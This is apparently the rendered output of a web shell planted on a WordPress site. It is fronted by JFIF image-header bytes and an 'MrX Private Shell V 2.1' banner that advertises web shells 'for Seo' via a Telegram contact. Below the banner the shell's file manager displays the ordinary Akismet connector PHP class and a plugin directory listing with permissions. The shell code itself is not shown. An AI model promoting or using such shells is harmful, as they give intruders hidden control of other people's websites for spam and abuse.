����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Akismet Connector integration.
*
* @package Akismet
*/
declare( strict_types = 1 );
/**
* Integrates Akismet with the WordPress Connectors framework,
* handling API key validation and connection status reporting.
*/
class Akismet_Connector {
/**
* Register hooks for the WordPress Connectors integration.
*/
public static function init() {
add_action( 'wp_connectors_init', array( 'Akismet_Connector', 'register_connector' ) );
// Priority 9 so we validate the real key before core's connector masking filter at priority 10.
add_filter( 'rest_post_dispatch', array( 'Akismet_Connector', 'validate_api_key' ), 9, 3 );
add_filter( 'script_module_data_options-connectors-wp-admin', array( 'Akismet_Connector', 'set_connected_status' ), 11 );
// Invalidate the connector key status cache on any key change.
foreach ( array( 'add', 'update', 'delete' ) as $action ) {
add_action( "{$action}_option_wordpress_api_key", array( 'Akismet_Connector', 'invalidate_key_status_cache' ) );
}
}
/**
* Validate the Akismet API key when saved via the connectors REST settings endpoint.
* If the key is invalid, revert it to an empty string.
*
* @param WP_REST_Response $response The response object.
* @param WP_REST_Server $server The server instance.
* @param WP_REST_Request $request The request object.
* @return WP_REST_Response
*/
public static function validate_api_key( $response, $server, $request ) {
if ( '/wp/v2/settings' !== $request->get_route() ) {
return $response;
}
if ( 'POST' !== $request->get_method() && 'PUT' !== $request->get_method() ) {
return $response;
}
$data = $response->get_data();
if ( ! is_array( $data ) || ! array_key_exists( 'wordpress_api_key', $data ) ) {
return $response;
}
$key = $data['wordpress_api_key'];
if ( ! is_string( $key ) || '' === $key ) {
return $response;
}
if ( Akismet::KEY_STATUS_INVALID === Akismet::verify_key( $key ) ) {
update_option( 'wordpress_api_key', '' );
$data['wordpress_api_key'] = '';
$response->set_data( $data );
}
return $response;
}
/**
* Set the isConnected status for the Akismet connector based on actual key validity.
*
* @param array $data Script module data.
* @return array
*/
public static function set_connected_status( $data ) {
if ( ! isset( $data['connectors']['akismet']['authentication'] ) ) {
return $data;
}
$key = Akismet::get_api_key();
if ( empty( $key ) ) {
$data['connectors']['akismet']['authentication']['isConnected'] = false;
return $data;
}
$is_connected = get_transient( 'akismet_connector_key_status' );
if ( false === $is_connected ) {
$is_connected = Akismet::verify_key( $key );
// Don't cache failures (e.g. network timeouts) so we retry on the next page load.
if ( Akismet::KEY_STATUS_FAILED !== $is_connected ) {
set_transient( 'akismet_connector_key_status', $is_connected, DAY_IN_SECONDS );
}
}
$data['connectors']['akismet']['authentication']['isConnected'] = ( Akismet::KEY_STATUS_VALID === $is_connected );
return $data;
}
/**
* Clear the connector key status cache so it doesn't serve stale data.
*/
public static function invalidate_key_status_cache() {
delete_transient( 'akismet_connector_key_status' );
}
/**
* Register the Akismet connector with an is_active callback so the
* connectors page can detect Akismet as active when installed as a mu-plugin.
*
* We re-register the full connector rather than patching the core one
* so that Akismet still has a connector even if core removes its own.
*
* @see https://github.com/WordPress/gutenberg/pull/76994
*
* @param WP_Connector_Registry $registry Connector registry instance.
*/
public static function register_connector( $registry ) {
if ( method_exists( $registry, 'is_registered' ) && $registry->is_registered( 'akismet' ) ) {
$registry->unregister( 'akismet' );
}
$registry->register(
'akismet',
array(
'name' => __( 'Akismet Anti-spam', 'akismet' ),
'description' => __( 'Protect your site from spam.', 'akismet' ),
'type' => 'spam_filtering',
'plugin' => array(
'file' => 'akismet/akismet.php',
'is_active' => function () {
return defined( 'AKISMET_VERSION' );
},
),
'authentication' => array(
'method' => 'api_key',
'credentials_url' => 'https://akismet.com/get/',
'setting_name' => 'wordpress_api_key',
'constant_name' => 'WPCOM_API_KEY',
),
)
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| _inc | Folder | 0755 |
|
|
| abilities | Folder | 0755 |
|
|
| views | Folder | 0755 |
|
|
| .htaccess | File | 796 B | 0644 |
|
| LICENSE.txt | File | 17.67 KB | 0644 |
|
| akismet.php | File | 3.31 KB | 0644 |
|
| changelog.txt | File | 22.83 KB | 0644 |
|
| class-akismet-abilities.php | File | 2.05 KB | 0644 |
|
| class-akismet-compatible-plugins.php | File | 7.83 KB | 0644 |
|
| class-akismet-connector.php | File | 4.47 KB | 0644 |
|
| class.akismet-admin.php | File | 64.4 KB | 0644 |
|
| class.akismet-cli.php | File | 4.89 KB | 0644 |
|
| class.akismet-rest-api.php | File | 20.08 KB | 0644 |
|
| class.akismet-widget.php | File | 4.39 KB | 0644 |
|
| class.akismet.php | File | 87.36 KB | 0644 |
|
| index.php | File | 58 B | 0644 |
|
| readme.txt | File | 6.52 KB | 0644 |
|
| wrapper.php | File | 6.28 KB | 0644 |
|